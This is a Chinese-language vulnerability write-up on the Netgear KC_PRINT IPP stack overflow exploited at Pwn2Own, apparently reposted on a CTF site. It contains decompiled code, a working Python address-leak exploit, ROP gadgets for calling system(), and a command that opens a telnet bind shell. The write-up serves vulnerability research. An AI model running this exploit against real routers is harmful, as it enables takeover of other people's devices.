Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析

IoT 2年前 (2022) admin
708 0 0
前言

前几天 sectoday 推了一个关于 NCC 研究员参加 Pwn2Own Austin 2021 比赛攻破路由器、NAS、打印机的技术细节分享 的推送。

Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析

其中有一个篇章是讲 Netgear R6700 Router 的, 恰好我上上篇分享的文章 PSV-2020-0437:Buffer-Overflow-on-Some-Netgear-Routers 所使用的路由器型号以及固件版本也在该漏洞影响范围之内。因此打算分析这个漏洞,并自己写一下这个漏洞的 exploit 。

注:

分析以及利用的路由器型号为: R6400v2 , 固件版本为:V1.0.4.102_10.0.75

漏洞分析

通过 slide 可以得知, nccgroup 所发现的漏洞在 KC_PRINT 这个程序里,所攻击端口为 631 端口。 根据我浅薄的知识,第一反映这是一个和 IPP (Internet Printing Protocol,缩写IPP, 是一个用于通过互联网打印文件的标准网络协议) 有关的程序。 在后面的进一步分析的过程中,确实验证了我的猜想。

Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析

KC_PRINT 使用不同的线程来处理不同的功能,

Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析

而该漏洞是发生在 ipp_server 线程里面的。 其大致入口代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
 {
   perror("ipp_server: setsockopt SO_REUSEADDR failed");
   close(fd);
   pthread_attr_destroy(&attr);
   pthread_exit(0);
 }

 s.sa_family = 2;
 *(_DWORD *)&s.sa_data[2] = htonl(0);
 *(_WORD *)s.sa_data = htons(631u); 
 if ( bind(fd, &s, 0x10u) < 0 ) // 在 631 端口监听
  ...

 listen(fd, 128);

while ( flag )
 {
   newfd = accept(fd, &addr, &addr_len);
   if ( newfd >= 0 )
   {
     sub_A0FC(1);
     v1[0] = 60;
     v1[1] = 0;
     if ( setsockopt(newfd, 1, 20, v1, 8u) < 0 )
       perror("ipp_server: setsockopt SO_RCVTIMEO failed");
     Fd = malloc(8u);
     if ( Fd )
     {
       memset(Fd, 0, 8u);
       *Fd = newfd;
       pthread_mutex_lock(&stru_18B40);
       v6 = sub_16068();
       if ( v6 < 0 )
       {
		...
       }
       else if ( pthread_create(&dword_18740[v6], &attr, do_ipp_http_thread, Fd) )

		...

然后会进入到 do_ipp_http_thread 函数里, 该函数会进一步调用一个 do_http 的函数。 该函数用来处理对应的 IPP 协议的 HTTP 请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
memset(buf, 0, sizeof(buf));
n = recv_n(fd, buf, 1024);
if ( n <= 0 )
  return -1;
if ( strstr(buf, "100-continue") )
{
  ...
}
HTTP_INPUT = strstr(buf, "POST /USB");
if ( !HTTP_INPUT )
  return -1;
HTTP_INPUT += 9;
v18 = strstr(HTTP_INPUT, "_LQ");
if ( !v18 )
  return -1;
v13 = *v18;
*v18 = 0;
usblp_index = atoi(HTTP_INPUT);
*v18 = v13;
if ( usblp_index > 10 )
  return -1;
if ( !is_printer_connected(usblp_index) )     // 检查是否有打印机设备挂载
  return -1;
v22[1] = usblp_index;
HTTP_INPUT = strstr(buf, "Content-Length: ");
if ( !HTTP_INPUT )
{
  ...
}
HTTP_INPUT += 16;
v18 = strstr(HTTP_INPUT, "\r\n");
if ( !v18 )
  return -1;
v13 = *v18;
*v18 = 0;
content_len = atoi(HTTP_INPUT);
*v18 = v13;
memset(recv_buf, 0, sizeof(recv_buf));
n = recv(fd, recv_buf, 8u, 0);
if ( n != 8 )
  return -1;
if ( (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6) )
{
  v14 = do_airippWithContentLength(v22, content_len, recv_buf);
  if ( v14 < 0 )
    return -1;
  return 0;
}

首先 n = recv_n(fd, buf, 1024); 接收 1024 的消息,这一部分消息以 \r\n 作为结束标识, 然后会取出 Content-Length: 的值作为 content_len 传入 do_airippWithContentLength 函数中。

在调用 do_airippWithContentLength 函数之前, 还会读取一个 8 字节长度的消息

1
2
memset(recv_buf, 0, sizeof(recv_buf));
n = recv(fd, recv_buf, 8u, 0);

该 8 字节长度的消息有一定的格式, 当满足 (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6) 条件的时候才会调用 do_airippWithContentLength 函数。

且进入到 do_airippWithContentLength 函数后, 会根据这个 8 个字节长度的消息, 来决定进一步调用哪个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __fastcall do_airippWithContentLength(int *a1, size_t content_len, const void *buf)
{
  _BYTE *recv_buf; // [sp+18h] [bp-14h]
  int v8; // [sp+1Ch] [bp-10h]
  int Jobs; // [sp+24h] [bp-8h]

  v8 = *a1;
  recv_buf = malloc(content_len);
  if ( !recv_buf )
    return -1;
  memcpy(recv_buf, buf, 8u);
  if ( toRead(v8, (recv_buf + 8), content_len - 8) >= 0 )
  {
    if ( recv_buf[2] || recv_buf[3] != 11 )
    {
      if ( recv_buf[2] || recv_buf[3] != 4 )
      {
        if ( recv_buf[2] || recv_buf[3] != 8 )
        {
          if ( recv_buf[2] || recv_buf[3] != 9 )
          {
            if ( recv_buf[2] || recv_buf[3] != 10 )
            {
              if ( recv_buf[2] || recv_buf[3] != 5 )
                Jobs = sub_D0C8(a1, recv_buf);
              else
                Jobs = Response_Create_Job(a1, recv_buf, content_len);
            }
            else
            {
              Jobs = Response_Get_Jobs(a1, recv_buf, content_len);
            }
          }
          else
          {
            Jobs = Response_Get_Job_Attributes(a1, recv_buf, content_len);
          }
        }
        else
        {
          printf("Client %d: Cancel-Job\n", v8);
          Jobs = sub_10EA0(a1, recv_buf);
        }
      }


例如此处, 如果我们想调用 Response_Get_Jobs 函数, 我们就得进一步满足 recv_buf[2] || recv_buf[3] == 10 的条件, 才能进到 Response_Get_Jobs 函数里。因此我们可以构造如下的消息:

b'\x00\x00\x00\x0a\x00\x00\x99\x99' 让其满足下标为 3 的时候 为 10 即可。

另外, 在 do_http 函数中有一个 if ( !is_printer_connected(usblp_index) ) // 检查是否有打印机设备挂载 的判断,该函数会读取 /proc/printer_status 的内容来判断是否有打印机挂载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ( printer_status )
{
  fd = open("/proc/printer_status", 0);
  if ( fd > 0 )
  {
    memset(printer_status, 0, 0x400u);
    v7 = read(fd, printer_status, 0x400u);
    close(fd);
    if ( v7 > 0 )
    {
      *(printer_status + v7) = 0;
      memset(s, 0, sizeof(s));
      snprintf(s, 0x10u, "usblp%d", usblp_index - 1);
      v7 = strstr(printer_status, s) != 0;
      free(printer_status);
      printer_status = 0;
      return v7;
    }
    else
    {
      ...
    }
  }

这里我没有挂载打印机,因此我通过 gdb 来绕过这个判断。

此时已经进到 do_airippWithContentLength 函数, 该函数会进一步根据 content-len - 8 读取后续的更多消息内容。而这个 content-len 是没有进行长度检查的,这里以 Response_Get_Jobs 函数为例, 来做进一步的分析。

Response_Get_Jobs 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
flag1 = 0;
 prefix_size = 0x4A;
 prefix_ptr = malloc(0x4Au);
 if ( !prefix_ptr )
 {
   perror("Response_Get_Jobs: malloc xx");
   return -1;
 }
 memset(prefix_ptr, 0, prefix_size);
 cnt = memcpy_n(prefix_ptr, total, &recv_buf[offset], 2u);
 total += cnt;
 if ( *recv_buf == 1 && !recv_buf[1] )
   flag1 = 1;
 offset += 2;
 *(prefix_ptr + total++) = 0;
 *(prefix_ptr + total++) = 0;
 offset += 2;
 total += memcpy_n(prefix_ptr, total, &recv_buf[offset], 4u);
 offset += 4;
 v12 = 66;
 cnt = memcpy_n(prefix_ptr, total, &unk_1823C, 0x42u);
 total += cnt;
 ++offset;                                     // offest == 09
 memset(v9, 0, sizeof(v9));
 memset(buf_2048, 0, sizeof(buf_2048));
 buf_2048[subffix_offset++] = 5;
 if ( !flag1 )
 {
   while ( recv_buf[offset] != 3 && offset <= content_len )
   {
     if ( recv_buf[offset] == 0x44 && !flag2 )
     {
       flag2 = 1;
       buf_2048[subffix_offset++] = 68;
       copy_len = (recv_buf[offset + 1] << 8) + recv_buf[offset + 2];
       cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset + 1], copy_len + 2);
       subffix_offset += cnt;
     }
     ++offset;                                 // offset=10
     copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1];
     offset += 2 + copy_len;                   // offset 12
     copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1];
     offset += 2;                              // offset 14
     if ( flag2 )
     {
       memset(command, 0, sizeof(command));
       memcpy(command, &recv_buf[offset], copy_len);
       if ( !strcmp(command, "job-media-sheets-completed") )

存在一个缓冲区溢出:

1
2
3
4
if ( flag2 )
{
  memset(command, 0, sizeof(command));
  memcpy(command, &recv_buf[offset], copy_len);

此处的 copy_len 是完全可控的, 且 buf_2048 在栈上, 我们只需让 flag1 不等于1 , flag2等于 1 ,就能进入到这个分支, 即满足 *recv_buf == 1 && !recv_buf[1]recv_buf[offset] == 0x44 条件即可。

利用编写

该程序保护都没有开启

1
2
3
4
5
6
7
8
9
pwndbg> checksec
[*] '/workhub/Dropbox/Attachments/IoT and BaseBand/Router/Netgear/R6400v2/fs/squashfs-root/usr/bin/KC_PRINT'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

pwndbg>

既没有 canary 也没有 PIE , 这极大的方便了我们的漏洞利用。

系统随机化开启情况:

1
2
# cat /proc/sys/kernel/randomize_va_space
1

ASLR 等级为 1, 即栈和共享库是完全随机的, 但是堆的分配不随机。

我们的目的是通过这个栈溢出漏洞, 来达到任意命令执行的目的。我们检索这个程序,发现程序里并没有现成的 system 或者 popen 函数,因此 ret2system 的方法并不能直接使用, 因此我们需要绕过随机化,需要泄漏 uclibc 中的 system 地址, 因此首先需要一个信息泄漏的方法,来 leak uclibc 的加载基址。

Bypass ASLR

其实一般这种思路, 我们可以通过 ROP , 调用 write 等函数读取 got 表中的值来做 uclibc 的地址。 但是这个方法我们可能需要知道我们当前链接的 fd 。如果不知道 fd , 我们可能需要爆破这个, 但由于这个程序是多线程而不是父子进程的形式, 如果失败可能会造成 crash。

进一步分析函数, 以及阅读 slide ,我们发现程序中有一个可以做任意地址读写的方法。

Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析

我们可以通过栈溢出, 来覆盖 prefix_ptrprefix_size 通过控制这两个变量,我们就可以通 write_ipp_response 将我们想读取的内容发送回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
char command[64]; // [sp+24h] [bp-1090h] BYREF
char buf_2048[2048]; // [sp+64h] [bp-1050h] BYREF
char v9[2048]; // [sp+864h] [bp-850h] BYREF
int v10; // [sp+1064h] [bp-50h]
size_t copy_len; // [sp+1068h] [bp-4Ch]
int v12; // [sp+106Ch] [bp-48h]
size_t cnt; // [sp+1070h] [bp-44h]
size_t prefix_size; // [sp+1074h] [bp-40h]
int total; // [sp+1078h] [bp-3Ch]
void *prefix_ptr; // [sp+107Ch] [bp-38h]
int v17; // [sp+1080h] [bp-34h]
int client_sock; // [sp+1084h] [bp-30h]
int v19; // [sp+1088h] [bp-2Ch]
int v20; // [sp+108Ch] [bp-28h]
char flag1; // [sp+1093h] [bp-21h]
char v22; // [sp+1094h] [bp-20h]
char job_state_resons; // [sp+1095h] [bp-1Fh]
char job_state; // [sp+1096h] [bp-1Eh]
char job_originating_user_name; // [sp+1097h] [bp-1Dh]
char job_name; // [sp+1098h] [bp-1Ch]
char job_id; // [sp+1099h] [bp-1Bh]
char v28; // [sp+109Ah] [bp-1Ah]
char flag2; // [sp+109Bh] [bp-19h]
size_t final_size; // [sp+109Ch] [bp-18h]
int offset; // [sp+10A0h] [bp-14h]
size_t response_len; // [sp+10A4h] [bp-10h]
void *final_ptr; // [sp+10A8h] [bp-Ch]
size_t subffix_offset; // [sp+10ACh] [bp-8h]

最首先的想法肯定是通过覆盖 prefix_ptr 指向 .got 来做读写, 但是如果我们直接的指向了函数的 .got , 例如 strcpy_ptr

1
.got:000180F0 strcpy_ptr      DCD __imp_strcpy        ; DATA XREF: strcpy+8

但是在调用 write_ipp_response 后, 程序会 free(prefix_ptr);

1
2
3
4
5
6
v10 = write_ipp_response(client_sock, final_ptr, response_len);
if ( prefix_ptr )
{
  free(prefix_ptr);
  prefix_ptr = 0;
}

如果是直接控制 prefix_ptr == 000180F0 , 在 free 的过程中会造成崩溃。 最后我们发现当把 prefix_ptr 指向 .got 的开头

1
2
3
4
.got:000180E4                                         ; sub_8C0C+8↑o ...
.got:000180E8                 DCD 0
.got:000180EC off_180EC       DCD 0                   ; DATA XREF: sub_8C0C+C↑r
.got:000180F0 strcpy_ptr      DCD __imp_strcpy        ; DATA XREF: strcpy+8↑r

即将 prefix_ptr 指向 000180E4 是不会崩溃的。

这里和 小伙伴 @aobo @leomxxj 讨论来下 , 猜测应该是如果是 free(0x000180EC) , 当 uclibc 会对 libc 的地址写, 造成 crash
如果 free(0x00180E4)

pwndbg> telescope 0x000180E4
00:0000│ 0x180e4 —▸ 0x1800c ◂— 0x1
01:0004│ 0x180e8 —▸ 0x40024030 ◂— 0x0
pwndbg> vmmap 0x1800c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x18000 0x19000 rw-p 1000 10000 /usr/bin/KC_PRINT +0xc
0x1800c 地址是可读写的

另外在编写这部分 exploit 的时候, 我们发现处理 recv_buf 消息的时候

1
2
3
4
5
6
if ( !flag1 )
 {
   while ( recv_buf[offset] != 3 && offset <= content_len )
   {
     if ( recv_buf[offset] == 0x44 && !flag2 )
     {

这部分是一个 while 循环,只有当消息为 \x03 的时候, 才会结束循环, 因此我们需要 offset 设置好,

1
2
3
4
5
    offset += copy_len;
.text:00010A30                 LDR             R2, [R11,#offset]
.text:00010A34                 LDR             R3, [R11,#copy_len]
.text:00010A38                 ADD             R3, R2, R3
.text:00010A3C                 STR             R3, [R11,#-0x14]

结束循环到 write_ipp_response 函数之前 ,我们还需要过两个地方, 第一个处, 为了方便我们在 command 前设置一个 job-id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    offset += 2;                              // offset 14
    if ( flag2 )
    {
      memset(command, 0, sizeof(command));
      memcpy(command, &recv_buf[offset], copy_len);
      if ( !strcmp(command, "job-media-sheets-completed") )
      {
        v22 = 1;
      }
      else if ( !strcmp(command, "job-state-reasons") )
      {
        job_state_resons = 1;
      }
      else if ( !strcmp(command, "job-name") )
      {
        job_name = 1;
      }
      else if ( !strcmp(command, "job-originating-user-name") )
      {
        job_originating_user_name = 1;
      }
      else if ( !strcmp(command, "job-state") )
      {
        job_state = 1;
      }
      else if ( !strcmp(command, "job-id") )
      {
        job_id = 1;
      }
      else
      {
        if ( v28 )
        {
          buf_2048[subffix_offset++] = 68;
          buf_2048[subffix_offset++] = 0;
          buf_2048[subffix_offset++] = 0;
        }
        cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset - 2], copy_len + 2);
        subffix_offset += cnt;
        v28 = 1;
      }
    }
    offset += copy_len;
  }
}
final_size += prefix_size;
if ( flag1 )
  v20 = sub_11D68(v17, 1, 1, 1, 1, 1, 1, v9);
else
  v20 = sub_11D68(v17, job_id, job_name, job_originating_user_name, job_state, job_state_resons, v22, v9);
if ( v20 > 0 )

第二处 final_ptr = malloc(++final_size);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
LABEL_54:
    *(final_ptr + response_len++) = 3;
    v10 = write_ipp_response(client_sock, final_ptr, response_len);
    if ( prefix_ptr )
    {
      free(prefix_ptr);
      prefix_ptr = 0;
    }
    if ( final_ptr )
    {
      free(final_ptr);
      final_ptr = 0;
    }
    if ( v10 )
      return -1;
    else
      return 0;
  }
  final_ptr = malloc(++final_size);
  if ( final_ptr )
  {
    memset(final_ptr, 0, final_size);
    cnt = memcpy_n(final_ptr, response_len, prefix_ptr, prefix_size);
    response_len += cnt;
    goto LABEL_54;
  }

我们得让 final_size 的值不能太大,不然分配不出来程序就不会走到 write_ipp_response 里,

1
2
3
4
5
6
7
.text:00010D78 loc_10D78                               ; CODE XREF: Response_Get_Jobs+868↑j
.text:00010D78                 LDR             R3, [R11,#-0x18]
.text:00010D7C                 ADD             R3, R3, #1
.text:00010D80                 STR             R3, [R11,#-0x18]
.text:00010D84                 LDR             R3, [R11,#-0x18]
.text:00010D88                 MOV             R0, R3  ; size
.text:00010D8C                 BL              malloc

即需要设置 [R11, #-0x18] 的值, 这是在栈上的。 最后我 leak 的代码大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def leak_uclibc():

    # recv_buf[2] || recv_buf[3] == 10
    recv_buf1  = b'\x00\x00\x00\x0a\x00\x00\x99\x99'
    recv_buf2  = b'\x00\x44\x00\x00\x10\x5d' # 0x1050 is copy_len -> memcpy(command, &recv_buf[offset], copy_len);
    recv_buf2 += b'job-id\x00\x00' 

    junkdata = cyclic(0x104c , n=4)
    junkdata = bytearray(junkdata)
    junkdata[1026: 1026+ len(cmd)] = cmd
    junkdata[0x103c: 0x103c + 4] = p32(0x106a-0xe) # finish flag offset
    junkdata[0x1048: 0x1048 + 4] = p32(0x20)     # malloc size  - > final_ptr = malloc(++final_size);
    junkdata = bytes(junkdata)

    recv_buf2 += junkdata
    recv_buf2 += p32(20)       # overwrite  prrefix_size
    recv_buf2 += p32(0x180E4)  # overwrite  prefix_ptr -> .got start address then free is alive 
    recv_buf2 += b'\x03'

    payload =  b'POST /USB1_LQ\r\n'
    payload += b'Content-Length: %b\r\n' % str(len(recv_buf1 + recv_buf2)).encode('latin1')
    payload += b'\r\n'

    p = remote("192.168.1.1", 631)
    p.send(payload)
    p.send(recv_buf1)
    p.send(recv_buf2)

    p.recvuntil(b'\r\n\r\n')
    p.recvn(8)
    _dl_linux_resolve = u32(p.recvn(4)) 
    print('_dl_linux_resolve : {:#x}'.format(_dl_linux_resolve))
    ld_uClibc =  _dl_linux_resolve - 0x3e70
    print('ld_uClibc : {:#x}'.format(ld_uClibc))
    p.recvn(4)
    printf_addr = u32(p.recvn(4))
    print('printf : {:#x}'.format(printf_addr))
    uClibc = printf_addr - 0x360e0
    print('uClibc : {:#x}'.format(uClibc))

    # system = uClibc + +0x90f4 # system offset 
    # print('system : {:#x}'.format(system))
    
    return ld_uClibc, uClibc

Leak:

1
2
3
4
5
6
$ python3 exp_ncc_netgear_ipp.py
[+] Opening connection to 192.168.1.1 on port 631: Done
_dl_linux_resolve : 0x40021e70
ld_uClibc : 0x4001e000
printf : 0x401700e0
uClibc : 0x4013a000

Arbitrary command execution

通过泄漏 uclibc 的地址, 然后可以计算 system 的地址。 然后我们就可以进一步做劫持返回地址工作。首先我们需要有个一个地址来存储我们 system 将执行的字符串。 回顾上文, 我们提及到了系统的随机化等级为 1

系统随机化开启情况:

1
2
# cat /proc/sys/kernel/randomize_va_space
1

因此我们可以在堆上查找是否有可控的内容, 通过 hexdump 查找。

Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析

我们发现我们的 payload 会存储在 堆上, 因此 , 我们可以将要执行的命令, 在第一次链接的时候 , 就将命令写入。

1
2
3
4
5
6
7
cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00'
cmd = b'/bin/touch /tmp/hacked'
cmd += b"\x00" * (len(cmd) % 4)

def leak_uclibc():
		...
    junkdata[1026: 1026+ len(cmd)] = cmd

在覆盖返回地址之前 , 除了在 leak 需要注意的那几个变量以外 ,我们还需要单独注意

  • flag1
  • v17
  • response_len

等变量的值, 要单独重新赋值。

最后我们需要将 R0 的值指向堆上的 0x1b880 地址。 所以我们需要单独几个 gadget , 这里我使用的是两个 gadget

首先通过第一个 gadget 控制 R3 为 0x1b880

1
0x00001504 : pop {r3, r4, fp, pc}

然后通过 第二个 gadgetR3 的值赋值给 R0 并且控制 PC 跳转到 system 函数上,从而完成任意命令执行。

1
0x00000a80 : mov r0, r3 ; pop {fp, pc}

最后就可以完成任意命令执行了。

Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析

参考链接

NCC Con Europe 2022 – Pwn2Own Austin Presentations

原文始发于SWING:Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析

版权声明:admin 发表于 2022年9月9日 上午9:06。
转载请注明:Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...